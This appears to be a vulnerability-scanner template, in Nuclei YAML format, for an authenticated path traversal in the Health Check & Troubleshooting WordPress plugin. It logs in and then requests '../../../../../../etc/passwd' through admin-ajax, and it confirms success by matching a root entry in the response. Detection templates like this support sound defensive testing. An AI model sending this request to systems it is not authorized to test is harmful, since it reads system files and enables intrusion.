id: health-check-lfi

info:
  name: Health Check & Troubleshooting <= 1.2.3 - Authenticated Path Traversal
  author: DhiyaneshDK
  severity: high
  description: The Health Check & Troubleshooting WordPress plugin was affected by an Authenticated Path Traversal security vulnerability.
  remediation: Fixed in version 1.2.4
  reference:
    - https://wpscan.com/vulnerability/5eecc4a7-0b44-495d-9352-78dccebfc72a
    - https://www.synacktiv.com/ressources/advisories/WordPress_Health_Check_1.2.3_Vulnerabilities.pdf
  tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=health-check-view-file-diff&file=../../../../../../etc/passwd

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200